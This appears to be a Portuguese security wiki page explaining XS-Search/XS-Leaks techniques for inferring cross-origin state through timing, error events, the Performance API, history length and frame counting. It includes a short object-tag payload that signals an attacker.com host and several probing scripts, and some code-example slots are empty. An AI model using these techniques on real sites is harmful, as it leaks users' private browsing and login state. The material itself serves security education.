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XS-Search/XS-Leaks

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Informações Básicas

XS-Search é um método usado para extrair informações de origem cruzada aproveitando vulnerabilidades de canal lateral.

Os principais componentes envolvidos neste ataque incluem:

  • Web Vulnerável: O site alvo do qual se pretende extrair informações.

  • Web do Atacante: O site malicioso criado pelo atacante, que a vítima visita, hospedando a exploração.

  • Método de Inclusão: A técnica empregada para incorporar a Web Vulnerável na Web do Atacante (por exemplo, window.open, iframe, fetch, tag HTML com href, etc.).

  • Técnica de Leak: Técnicas usadas para discernir diferenças no estado da Web Vulnerável com base nas informações coletadas através do método de inclusão.

  • Estados: As duas condições potenciais da Web Vulnerável, que o atacante visa distinguir.

  • Diferenças Detectáveis: Variações observáveis nas quais o atacante se baseia para inferir o estado da Web Vulnerável.

Diferenças Detectáveis

Vários aspectos podem ser analisados para diferenciar os estados da Web Vulnerável:

  • Código de Status: Distinguir entre vários códigos de status de resposta HTTP de origem cruzada, como erros de servidor, erros de cliente ou erros de autenticação.

  • Uso de API: Identificar uso de APIs Web em páginas, revelando se uma página de origem cruzada emprega uma API Web JavaScript específica.

  • Redirecionamentos: Detectar navegações para diferentes páginas, não apenas redirecionamentos HTTP, mas também aqueles acionados por JavaScript ou HTML.

  • Conteúdo da Página: Observar variações no corpo da resposta HTTP ou em sub-recursos da página, como o número de frames incorporados ou disparidades de tamanho em imagens.

  • Cabeçalho HTTP: Notar a presença ou possivelmente o valor de um cabeçalho de resposta HTTP específico, incluindo cabeçalhos como X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.

  • Tempo: Notar disparidades de tempo consistentes entre os dois estados.

Métodos de Inclusão

  • Elementos HTML: HTML oferece vários elementos para inclusão de recursos de origem cruzada, como folhas de estilo, imagens ou scripts, forçando o navegador a solicitar um recurso não-HTML. Uma compilação de potenciais elementos HTML para esse propósito pode ser encontrada em https://github.com/cure53/HTTPLeaks.

  • Frames: Elementos como iframe, object e embed podem incorporar recursos HTML diretamente na página do atacante. Se a página não tiver proteção contra framing, o JavaScript pode acessar o objeto window do recurso emoldurado através da propriedade contentWindow.

  • Pop-ups: O método window.open abre um recurso em uma nova aba ou janela, fornecendo um manipulador de janela para o JavaScript interagir com métodos e propriedades seguindo o SOP. Pop-ups, frequentemente usados em autenticação única, contornam as restrições de framing e cookies de um recurso alvo. No entanto, navegadores modernos restringem a criação de pop-ups a certas ações do usuário.

  • Requisições JavaScript: O JavaScript permite requisições diretas a recursos alvo usando XMLHttpRequests ou a Fetch API. Esses métodos oferecem controle preciso sobre a requisição, como optar por seguir redirecionamentos HTTP.

Técnicas de Leak

  • Manipulador de Evento: Uma técnica clássica de leak em XS-Leaks, onde manipuladores de eventos como onload e onerror fornecem informações sobre o sucesso ou falha do carregamento de recursos.

  • Mensagens de Erro: Exceções JavaScript ou páginas de erro especiais podem fornecer informações de leak, seja diretamente da mensagem de erro ou diferenciando entre sua presença e ausência.

  • Limites Globais: Limitações físicas de um navegador, como capacidade de memória ou outros limites impostos pelo navegador, podem sinalizar quando um limite é alcançado, servindo como uma técnica de leak.

  • Estado Global: Interações detectáveis com os estados globais dos navegadores (por exemplo, a interface History) podem ser exploradas. Por exemplo, o número de entradas no histórico de um navegador pode oferecer pistas sobre páginas de origem cruzada.

  • API de Performance: Esta API fornece detalhes de desempenho da página atual, incluindo o tempo de rede para o documento e recursos carregados, permitindo inferências sobre recursos solicitados.

  • Atributos Legíveis: Alguns atributos HTML são legíveis de origem cruzada e podem ser usados como uma técnica de leak. Por exemplo, a propriedade window.frame.length permite que o JavaScript conte os frames incluídos em uma página da web de origem cruzada.

Ferramenta e Artigo XSinator

XSinator é uma ferramenta automática para verificar navegadores contra vários XS-Leaks conhecidos explicados em seu artigo: https://xsinator.com/paper.pdf

Você pode acessar a ferramenta em https://xsinator.com/

XS-Leaks Excluídos: Tivemos que excluir XS-Leaks que dependem de trabalhadores de serviço, pois interfeririam em outros leaks no XSinator. Além disso, optamos por excluir XS-Leaks que dependem de má configuração e bugs em um aplicativo web específico. Por exemplo, má configurações de Cross-Origin Resource Sharing (CORS), vazamento de postMessage ou Cross-Site Scripting. Além disso, excluímos XS-Leaks baseados em tempo, pois frequentemente sofrem de serem lentos, barulhentos e imprecisos.

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Técnicas Baseadas em Tempo

Algumas das técnicas a seguir vão usar tempo como parte do processo para detectar diferenças nos possíveis estados das páginas web. Existem diferentes maneiras de medir o tempo em um navegador web.

Relógios: A API performance.now() permite que os desenvolvedores obtenham medições de tempo de alta resolução. Há um número considerável de APIs que os atacantes podem abusar para criar relógios implícitos: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animações CSS, e outros. Para mais informações: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Técnicas de Manipulador de Evento

Onload/Onerror

Cookie Bomb + Onerror XS Leak

O exemplo de código tenta carregar objetos de scripts do JS, mas outras tags como objetos, folhas de estilo, imagens, áudios também poderiam ser usadas. Além disso, também é possível injetar a tag diretamente e declarar os eventos onload e onerror dentro da tag (em vez de injetá-los do JS).

Há também uma versão sem script deste ataque:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

Esta técnica é semelhante à anterior, mas o atacante também forçará alguma ação para levar um tempo relevante quando a resposta for positiva ou negativa e medirá esse tempo.

performance.now + Force heavy task

unload/beforeunload Timing

O tempo necessário para buscar um recurso pode ser medido utilizando os eventos unload e beforeunload. O evento beforeunload é disparado quando o navegador está prestes a navegar para uma nova página, enquanto o evento unload ocorre quando a navegação está realmente acontecendo. A diferença de tempo entre esses dois eventos pode ser calculada para determinar a duração que o navegador passou buscando o recurso.

Sandboxed Frame Timing + onload

Foi observado que na ausência de Framing Protections, o tempo necessário para uma página e seus subrecursos serem carregados pela rede pode ser medido por um atacante. Essa medição é tipicamente possível porque o manipulador onload de um iframe é acionado apenas após a conclusão do carregamento de recursos e da execução de JavaScript. Para contornar a variabilidade introduzida pela execução de scripts, um atacante pode empregar o atributo sandbox dentro do <iframe>. A inclusão deste atributo restringe várias funcionalidades, notavelmente a execução de JavaScript, facilitando assim uma medição que é predominantemente influenciada pelo desempenho da rede.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • More info:

  • Summary: Se você conseguir fazer a página gerar um erro ao acessar o conteúdo correto e carregá-la corretamente ao acessar qualquer conteúdo, então você pode criar um loop para extrair todas as informações sem medir o tempo.

  • Code Example:

Suponha que você possa inserir a página que contém o conteúdo secreto dentro de um Iframe.

Você pode fazer a vítima buscar o arquivo que contém "flag" usando um Iframe (exploiting um CSRF, por exemplo). Dentro do Iframe, você sabe que o evento onload será executado sempre pelo menos uma vez. Então, você pode mudar a URL do iframe, mas alterando apenas o conteúdo do hash dentro da URL.

Por exemplo:

  1. URL1: www.attacker.com/xssearch#try1

  2. URL2: www.attacker.com/xssearch#try2

Se a primeira URL foi carregada com sucesso, então, ao mudar a parte do hash da URL, o evento onload não será acionado novamente. Mas se a página teve algum tipo de erro ao carregar, então, o evento onload será acionado novamente.

Então, você pode distinguir entre uma página carregada corretamente ou uma página que tem um erro ao ser acessada.

Javascript Execution

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • More info:

  • Summary: Se a página está retornando o conteúdo sensível, ou um conteúdo que pode ser controlado pelo usuário. O usuário pode definir código JS válido no caso negativo, um load em cada tentativa dentro de <script> tags, então em casos negativos o código do atacante é executado, e em casos afirmativos nada será executado.

  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Status Code & Headers

  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/

  • Summary: Cross-Origin Read Blocking (CORB) é uma medida de segurança que impede que páginas da web carreguem certos recursos sensíveis de origem cruzada para proteger contra ataques como Spectre. No entanto, os atacantes podem explorar seu comportamento protetor. Quando uma resposta sujeita ao CORB retorna um Content-Type protegido pelo CORB com nosniff e um código de status 2xx, CORB remove o corpo e os cabeçalhos da resposta. Os atacantes que observam isso podem inferir a combinação do código de status (indicando sucesso ou erro) e o Content-Type (denotando se está protegido pelo CORB), levando a uma possível vazamento de informações.

  • Code Example:

Verifique o link de mais informações para mais informações sobre o ataque.

onblur

É possível carregar uma página dentro de um iframe e usar o #id_value para fazer a página focar no elemento do iframe com o id indicado, então se um sinal onblur for acionado, o elemento ID existe. Você pode realizar o mesmo ataque com tags portal.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: API Usage

  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/

  • Summary: Coletar informações sensíveis de um postMessage ou usar a presença de postMessages como um oráculo para saber o status do usuário na página

  • Code Example: Qualquer código ouvindo todos os postMessages.

Aplicações frequentemente utilizam postMessage broadcasts para se comunicar entre diferentes origens. No entanto, esse método pode inadvertidamente expor informações sensíveis se o parâmetro targetOrigin não for especificado corretamente, permitindo que qualquer janela receba as mensagens. Além disso, o simples ato de receber uma mensagem pode atuar como um oráculo; por exemplo, certas mensagens podem ser enviadas apenas para usuários que estão logados. Portanto, a presença ou ausência dessas mensagens pode revelar informações sobre o estado ou identidade do usuário, como se ele está autenticado ou não.

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Global Limits Techniques

WebSocket API

É possível identificar se, e quantas, conexões WebSocket uma página alvo usa. Isso permite que um atacante detecte estados de aplicação e vaze informações ligadas ao número de conexões WebSocket.

Se uma origem usar a quantidade máxima de objetos de conexão WebSocket, independentemente do estado de suas conexões, a criação de novos objetos resultará em exceções JavaScript. Para executar esse ataque, o site atacante abre o site alvo em um pop-up ou iframe e então, após o site alvo ter sido carregado, tenta criar o máximo de conexões WebSocket possível. O número de exceções lançadas é o número de conexões WebSocket usadas pela janela do site alvo.

Payment API

Esse XS-Leak permite que um atacante detecte quando uma página de origem cruzada inicia um pedido de pagamento.

Porque apenas um pedido de pagamento pode estar ativo ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, quaisquer novas tentativas de usar essa API falharão e causarão uma exceção JavaScript. O atacante pode explorar isso tentando periodicamente mostrar a interface da API de Pagamento. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode ocultar essas tentativas periódicas fechando imediatamente a interface após a criação.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript opera em um modelo de concorrência de loop de eventos de thread única, significando que ele só pode executar uma tarefa por vez. Essa característica pode ser explorada para avaliar quanto tempo o código de uma origem diferente leva para ser executado. Um atacante pode medir o tempo de execução de seu próprio código no loop de eventos ao despachar continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origens também estiverem despachando eventos para o mesmo pool, um atacante pode inferir o tempo que leva para esses eventos externos serem executados observando atrasos na execução de suas próprias tarefas. Esse método de monitoramento do loop de eventos para atrasos pode revelar o tempo de execução do código de diferentes origens, potencialmente expondo informações sensíveis.

Em um tempo de execução, é possível eliminar fatores de rede para obter medições mais precisas. Por exemplo, carregando os recursos usados pela página antes de carregá-la.

Busy Event Loop

  • Inclusion Methods:

  • Detectable Difference: Timing (geralmente devido ao Conteúdo da Página, Código de Status)

  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop

  • Summary: Um método para medir o tempo de execução de uma operação web envolve bloquear intencionalmente o loop de eventos de uma thread e então medir quanto tempo leva para o loop de eventos se tornar disponível novamente. Ao inserir uma operação de bloqueio (como um cálculo longo ou uma chamada de API síncrona) no loop de eventos e monitorar o tempo que leva para o código subsequente começar a execução, pode-se inferir a duração das tarefas que estavam sendo executadas no loop de eventos durante o período de bloqueio. Essa técnica aproveita a natureza de thread única do loop de eventos do JavaScript, onde as tarefas são executadas sequencialmente, e pode fornecer insights sobre o desempenho ou comportamento de outras operações que compartilham a mesma thread.

  • Code Example:

Uma vantagem significativa da técnica de medir o tempo de execução bloqueando o loop de eventos é seu potencial para contornar a Isolação de Site. Isolação de Site é um recurso de segurança que separa diferentes sites em processos separados, visando impedir que sites maliciosos acessem diretamente dados sensíveis de outros sites. No entanto, ao influenciar o tempo de execução de outra origem através do loop de eventos compartilhado, um atacante pode indiretamente extrair informações sobre as atividades daquela origem. Esse método não depende do acesso direto aos dados da outra origem, mas sim observa o impacto das atividades daquela origem no loop de eventos compartilhado, assim evitando as barreiras protetoras estabelecidas pela Isolação de Site.

Em um tempo de execução, é possível eliminar fatores de rede para obter medições mais precisas. Por exemplo, carregando os recursos usados pela página antes de carregá-la.

Connection Pool

  • Inclusion Methods: JavaScript Requests

  • Detectable Difference: Timing (geralmente devido ao Conteúdo da Página, Código de Status)

  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

  • Summary: Um atacante poderia bloquear todos os sockets, exceto 1, carregar a web alvo e ao mesmo tempo carregar outra página, o tempo até a última página começar a carregar é o tempo que a página alvo levou para carregar.

  • Code Example:

Connection Pool Examples

Os navegadores utilizam sockets para comunicação com o servidor, mas devido aos recursos limitados do sistema operacional e hardware, os navegadores são obrigados a impor um limite no número de sockets simultâneos. Os atacantes podem explorar essa limitação através dos seguintes passos:

  1. Determinar o limite de sockets do navegador, por exemplo, 256 sockets globais.

  2. Ocupando 255 sockets por um longo período iniciando 255 requisições para vários hosts, projetadas para manter as conexões abertas sem completar.

  3. Usar o 256º socket para enviar uma requisição para a página alvo.

  4. Tentar uma 257ª requisição para um host diferente. Dado que todos os sockets estão em uso (conforme os passos 2 e 3), essa requisição será enfileirada até que um socket se torne disponível. O atraso antes que essa requisição prossiga fornece ao atacante informações de tempo sobre a atividade de rede relacionada ao socket do 256º (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o liberado do passo 3. O tempo que leva para o 256º socket se tornar disponível está, portanto, diretamente ligado ao tempo necessário para a requisição à página alvo ser concluída.

Para mais informações: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests

  • Detectable Difference: Timing (geralmente devido ao Conteúdo da Página, Código de Status)

  • More info:

  • Summary: É como a técnica anterior, mas em vez de usar todos os sockets, o Google Chrome impõe um limite de 6 requisições simultâneas para a mesma origem. Se nós bloqueamos 5 e então lançamos uma 6ª requisição, podemos medir e se conseguimos fazer a página da vítima enviar mais requisições para o mesmo endpoint para detectar um status da página, a 6ª requisição levará mais tempo e podemos detectá-la.

Performance API Techniques

A Performance API oferece insights sobre as métricas de desempenho de aplicações web, ainda mais enriquecida pela Resource Timing API. A Resource Timing API permite o monitoramento de tempos detalhados de requisições de rede, como a duração das requisições. Notavelmente, quando os servidores incluem o cabeçalho Timing-Allow-Origin: * em suas respostas, dados adicionais como o tamanho da transferência e o tempo de busca de domínio se tornam disponíveis.

Essa riqueza de dados pode ser recuperada através de métodos como performance.getEntries ou performance.getEntriesByName, fornecendo uma visão abrangente das informações relacionadas ao desempenho. Além disso, a API facilita a medição de tempos de execução calculando a diferença entre timestamps obtidos de performance.now(). No entanto, vale a pena notar que para certas operações em navegadores como o Chrome, a precisão de performance.now() pode ser limitada a milissegundos, o que pode afetar a granularidade das medições de tempo.

Além das medições de tempo, a Performance API pode ser aproveitada para insights relacionados à segurança. Por exemplo, a presença ou ausência de páginas no objeto performance no Chrome pode indicar a aplicação de X-Frame-Options. Especificamente, se uma página for bloqueada de ser renderizada em um frame devido a X-Frame-Options, ela não será registrada no objeto performance, fornecendo uma pista sutil sobre as políticas de framing da página.

Error Leak

É possível diferenciar entre códigos de status de resposta HTTP porque requisições que levam a um erro não criam uma entrada de desempenho.

Style Reload Error

Na técnica anterior, também foram identificados dois casos onde bugs do navegador no GC levam a recursos sendo carregados duas vezes quando falham ao carregar. Isso resultará em múltiplas entradas na Performance API e pode, portanto, ser detectado.

Request Merging Error

A técnica foi encontrada em uma tabela no artigo mencionado, mas nenhuma descrição da técnica foi encontrada nele. No entanto, você pode encontrar o código-fonte verificando-o em https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

Um atacante pode detectar se uma requisição resultou em um corpo de resposta HTTP vazio porque páginas vazias não criam uma entrada de desempenho em alguns navegadores.

XSS-Auditor Leak

Em Security Assertions (SA), o XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), pode paradoxalmente ser explorado para vazar informações sensíveis. Embora esse recurso embutido tenha sido removido do Google Chrome (GC), ainda está presente no SA. Em 2013, Braun e Heiderich demonstraram que o XSS Auditor poderia inadvertidamente bloquear scripts legítimos, levando a falsos positivos. Com base nisso, pesquisadores desenvolveram técnicas para extrair informações e detectar conteúdo específico em páginas de origem cruzada, um conceito conhecido como XS-Leaks, inicialmente relatado por Terada e elaborado por Heyes em um post de blog. Embora essas técnicas fossem específicas para o XSS Auditor no GC, foi descoberto que no SA, páginas bloqueadas pelo XSS Auditor não geram entradas na Performance API, revelando um método pelo qual informações sensíveis ainda podem ser vazadas.

X-Frame Leak

Se uma página não for permitida a ser renderizada em um iframe, ela não cria uma entrada de desempenho. Como resultado, um atacante pode detectar o cabeçalho de resposta X-Frame-Options. O mesmo acontece se você usar uma tag embed.

Download Detection

Similar ao XS-Leak descrito, um recurso que é baixado devido ao cabeçalho ContentDisposition, também não cria uma entrada de desempenho. Essa técnica funciona em todos os principais navegadores.

Redirect Start Leak

Encontramos uma instância de XS-Leak que abusa do comportamento de alguns navegadores que registram informações demais para requisições de origem cruzada. O padrão define um subconjunto de atributos que devem ser definidos como zero para recursos de origem cruzada. No entanto, no SA, é possível detectar se o usuário foi redirecionado pela página alvo, consultando a Performance API e verificando os dados de tempo de redirecionamento.

Duration Redirect Leak

No GC, a duração para requisições que resultam em um redirecionamento é negativa e pode, portanto, ser distinguida de requisições que não resultam em um redirecionamento.

CORP Leak

Em alguns casos, a entrada nextHopProtocol pode ser usada como uma técnica de vazamento. No GC, quando o cabeçalho CORP está definido, o nextHopProtocol ficará vazio. Note que o SA não criará uma entrada de desempenho para recursos habilitados para CORP.

Service Worker

Service workers são contextos de script acionados por eventos que rodam em uma origem. Eles rodam em segundo plano de uma página web e podem interceptar, modificar e armazenar recursos para criar aplicações web offline. Se um recurso armazenado por um service worker for acessado via iframe, o recurso será carregado do cache do service worker. Para detectar se o recurso foi carregado do cache do service worker, a Performance API pode ser usada. Isso também pode ser feito com um ataque de Timing (verifique o artigo para mais informações).

Cache

Usando a Performance API é possível verificar se um recurso está em cache.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

A propriedade message da interface MediaError identifica de forma única os recursos que carregam com sucesso com uma string distinta. Um atacante pode explorar esse recurso observando o conteúdo da mensagem, deduzindo assim o status de resposta de um recurso de origem cruzada.

Erro CORS

Essa técnica permite que um atacante extraia o destino de um redirecionamento de um site de origem cruzada explorando como navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma solicitação habilitada para CORS é enviada a um site-alvo que emite um redirecionamento com base no estado do usuário e o navegador posteriormente nega a solicitação, a URL completa do destino do redirecionamento é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o endpoint do redirecionamento e quaisquer parâmetros de consulta sensíveis que ele possa conter.

Erro SRI

Um atacante pode explorar mensagens de erro verbosas para deduzir o tamanho das respostas de origem cruzada. Isso é possível devido ao mecanismo de Integridade de Sub-recurso (SRI), que usa o atributo de integridade para validar que os recursos buscados, frequentemente de CDNs, não foram adulterados. Para que o SRI funcione em recursos de origem cruzada, estes devem ser habilitados para CORS; caso contrário, não estão sujeitos a verificações de integridade. Em Aserções de Segurança (SA), assim como o erro CORS XS-Leak, uma mensagem de erro pode ser capturada após uma solicitação fetch com um atributo de integridade falhar. Os atacantes podem deliberadamente disparar esse erro atribuindo um valor de hash falso ao atributo de integridade de qualquer solicitação. Em SA, a mensagem de erro resultante revela inadvertidamente o comprimento do conteúdo do recurso solicitado. Essa vazamento de informação permite que um atacante discernir variações no tamanho da resposta, abrindo caminho para ataques XS-Leak sofisticados.

Violação/Detecção CSP

Um XS-Leak pode usar a CSP para detectar se um site de origem cruzada foi redirecionado para uma origem diferente. Esse vazamento pode detectar o redirecionamento, mas, adicionalmente, o domínio do alvo do redirecionamento também vaza. A ideia básica desse ataque é permitir o domínio alvo no site do atacante. Uma vez que uma solicitação é emitida para o domínio alvo, ele redireciona para um domínio de origem cruzada. A CSP bloqueia o acesso a ele e cria um relatório de violação usado como técnica de vazamento. Dependendo do navegador, esse relatório pode vazar a localização alvo do redirecionamento. Navegadores modernos não indicarão a URL para a qual foi redirecionado, mas você ainda pode detectar que um redirecionamento de origem cruzada foi acionado.

Cache

Os navegadores podem usar um cache compartilhado para todos os sites. Independentemente de sua origem, é possível deduzir se uma página alvo solicitou um arquivo específico.

Se uma página carrega uma imagem apenas se o usuário estiver logado, você pode invalidar o recurso (para que não esteja mais em cache, veja mais informações nos links), realizar uma solicitação que poderia carregar esse recurso e tentar carregar o recurso com uma solicitação inválida (por exemplo, usando um cabeçalho referer excessivamente longo). Se o carregamento do recurso não disparou nenhum erro, é porque ele estava em cache.

Diretiva CSP

Um recurso novo no Google Chrome (GC) permite que páginas da web proponham uma Política de Segurança de Conteúdo (CSP) definindo um atributo em um elemento iframe, com as diretivas da política transmitidas junto com a solicitação HTTP. Normalmente, o conteúdo incorporado deve autorizar isso via um cabeçalho HTTP, ou uma página de erro é exibida. No entanto, se o iframe já for regido por uma CSP e a nova política proposta não for mais restritiva, a página será carregada normalmente. Esse mecanismo abre um caminho para um atacante detectar diretivas CSP específicas de uma página de origem cruzada identificando a página de erro. Embora essa vulnerabilidade tenha sido marcada como corrigida, nossas descobertas revelam uma nova técnica de vazamento capaz de detectar a página de erro, sugerindo que o problema subjacente nunca foi totalmente resolvido.

CORP

O cabeçalho CORP é um recurso de segurança da plataforma web relativamente novo que, quando definido, bloqueia solicitações de origem cruzada sem CORS para o recurso dado. A presença do cabeçalho pode ser detectada, pois um recurso protegido com CORP gerará um erro quando buscado.

CORB

Verifique o link para mais informações sobre o ataque.

Erro CORS na má configuração de Reflexão de Origem

Caso o cabeçalho Origin esteja sendo refletido no cabeçalho Access-Control-Allow-Origin, um atacante pode abusar desse comportamento para tentar buscar o recurso em modo CORS. Se um erro não for disparado, significa que foi recuperado corretamente da web, se um erro for disparado, é porque foi acessado do cache (o erro aparece porque o cache salva uma resposta com um cabeçalho CORS permitindo o domínio original e não o domínio do atacante). Observe que se a origem não for refletida, mas um curinga for usado (Access-Control-Allow-Origin: *), isso não funcionará.

Técnica de Atributos Legíveis

Redirecionamento Fetch

Submetendo uma solicitação usando a Fetch API com redirect: "manual" e outros parâmetros, é possível ler o atributo response.type e, se for igual a opaqueredirect, então a resposta foi um redirecionamento.

COOP

Um atacante é capaz de deduzir a presença do cabeçalho da Política de Abertura de Origem Cruzada (COOP) em uma resposta HTTP de origem cruzada. O COOP é utilizado por aplicativos web para impedir que sites externos obtenham referências de janela arbitrárias. A visibilidade desse cabeçalho pode ser discernida ao tentar acessar a referência contentWindow. Em cenários onde o COOP é aplicado condicionalmente, a propriedade opener se torna um indicador revelador: ela é indefinida quando o COOP está ativo e definida em sua ausência.

Comprimento Máximo da URL - Lado do Servidor

Se um redirecionamento do lado do servidor usar entrada do usuário dentro do redirecionamento e dados extras. É possível detectar esse comportamento porque geralmente servidores têm um limite de comprimento de solicitação. Se os dados do usuário forem esse comprimento - 1, porque o redirecionamento está usando esses dados e adicionando algo extra, isso acionará um erro detectável via Eventos de Erro.

Se você puder de alguma forma definir cookies para um usuário, também pode realizar esse ataque definindo cookies suficientes (cookie bomb) para que, com o tamanho da resposta aumentada da resposta correta, um erro seja acionado. Nesse caso, lembre-se de que, se você disparar essa solicitação de um mesmo site, <script> enviará automaticamente os cookies (para que você possa verificar erros). Um exemplo de cookie bomb + XS-Search pode ser encontrado na solução pretendida deste relatório: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None ou estar no mesmo contexto geralmente é necessário para esse tipo de ataque.

Comprimento Máximo da URL - Lado do Cliente

De acordo com a documentação do Chromium, o comprimento máximo da URL do Chrome é 2MB.

Em geral, a plataforma web não tem limites sobre o comprimento das URLs (embora 2^31 seja um limite comum). Chrome limita as URLs a um comprimento máximo de 2MB por razões práticas e para evitar causar problemas de negação de serviço na comunicação entre processos.

Portanto, se a URL de redirecionamento respondida for maior em um dos casos, é possível fazer com que ela redirecione com uma URL maior que 2MB para atingir o limite de comprimento. Quando isso acontece, o Chrome mostra uma página about:blank#blocked.

A diferença notável é que, se o redirecionamento foi concluído, window.origin gera um erro porque uma origem cruzada não pode acessar essa informação. No entanto, se o limite foi atingido e a página carregada foi about:blank#blocked, a origem da janela permanece a do pai, que é uma informação acessível.

Todas as informações extras necessárias para atingir os 2MB podem ser adicionadas via um hash na URL inicial, para que sejam usadas no redirecionamento.

URL Max Length - Client Side

Máximo de Redirecionamentos

Se o número máximo de redirecionamentos a seguir de um navegador for 20, um atacante poderia tentar carregar sua página com 19 redirecionamentos e finalmente enviar a vítima para a página testada. Se um erro for acionado, então a página estava tentando redirecionar a vítima.

Comprimento do Histórico

A API de Histórico permite que o código JavaScript manipule o histórico do navegador, que salva as páginas visitadas por um usuário. Um atacante pode usar a propriedade length como um método de inclusão: para detectar navegação em JavaScript e HTML. Verificando history.length, fazendo um usuário navegar para uma página, voltando para a mesma origem e verificando o novo valor de history.length.

Comprimento do Histórico com a mesma URL

  • Métodos de Inclusão: Frames, Pop-ups

  • Diferença Detectável: Se a URL é a mesma que a adivinhada

  • Resumo: É possível adivinhar se a localização de um frame/pop-up está em uma URL específica abusando do comprimento do histórico.

  • Exemplo de Código: Abaixo

Um atacante poderia usar código JavaScript para manipular a localização do frame/pop-up para uma adivinhada e imediatamente mudá-la para about:blank. Se o comprimento do histórico aumentou, significa que a URL estava correta e teve tempo para aumentar porque a URL não é recarregada se for a mesma. Se não aumentou, significa que tentou carregar a URL adivinhada, mas porque imediatamente depois carregou about:blank, o comprimento do histórico nunca aumentou ao carregar a URL adivinhada.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

Contar o número de frames em uma web aberta via iframe ou window.open pode ajudar a identificar o status do usuário naquela página. Além disso, se a página tiver sempre o mesmo número de frames, verificar continuamente o número de frames pode ajudar a identificar um padrão que pode vazar informações.

Um exemplo dessa técnica é que no chrome, um PDF pode ser detectado com contagem de frames porque um embed é usado internamente. Existem Open URL Parameters que permitem algum controle sobre o conteúdo, como zoom, view, page, toolbar, onde essa técnica pode ser interessante.

HTMLElements

O vazamento de informações através de elementos HTML é uma preocupação na segurança da web, particularmente quando arquivos de mídia dinâmicos são gerados com base em informações do usuário, ou quando marcas d'água são adicionadas, alterando o tamanho da mídia. Isso pode ser explorado por atacantes para diferenciar entre estados possíveis analisando as informações expostas por certos elementos HTML.

Information Exposed by HTML Elements

  • HTMLMediaElement: Este elemento revela a duration e os tempos buffered da mídia, que podem ser acessados via sua API. Leia mais sobre HTMLMediaElement

  • HTMLVideoElement: Ele expõe videoHeight e videoWidth. Em alguns navegadores, propriedades adicionais como webkitVideoDecodedByteCount, webkitAudioDecodedByteCount e webkitDecodedFrameCount estão disponíveis, oferecendo informações mais detalhadas sobre o conteúdo da mídia. Leia mais sobre HTMLVideoElement

  • getVideoPlaybackQuality(): Esta função fornece detalhes sobre a qualidade da reprodução de vídeo, incluindo totalVideoFrames, que pode indicar a quantidade de dados de vídeo processados. Leia mais sobre getVideoPlaybackQuality()

  • HTMLImageElement: Este elemento vaza a height e width de uma imagem. No entanto, se uma imagem for inválida, essas propriedades retornarão 0, e a função image.decode() será rejeitada, indicando a falha ao carregar a imagem corretamente. Leia mais sobre HTMLImageElement

CSS Property

Aplicações web podem alterar o estilo do site dependendo do status do usuário. Arquivos CSS de origem cruzada podem ser incorporados na página do atacante com o elemento HTML link, e as regras serão aplicadas à página do atacante. Se uma página altera dinamicamente essas regras, um atacante pode detectar essas diferenças dependendo do estado do usuário. Como uma técnica de vazamento, o atacante pode usar o método window.getComputedStyle para ler propriedades CSS de um elemento HTML específico. Como resultado, um atacante pode ler propriedades CSS arbitrárias se o elemento afetado e o nome da propriedade forem conhecidos.

CSS History

De acordo com isso, isso não está funcionando no Chrome sem cabeça.

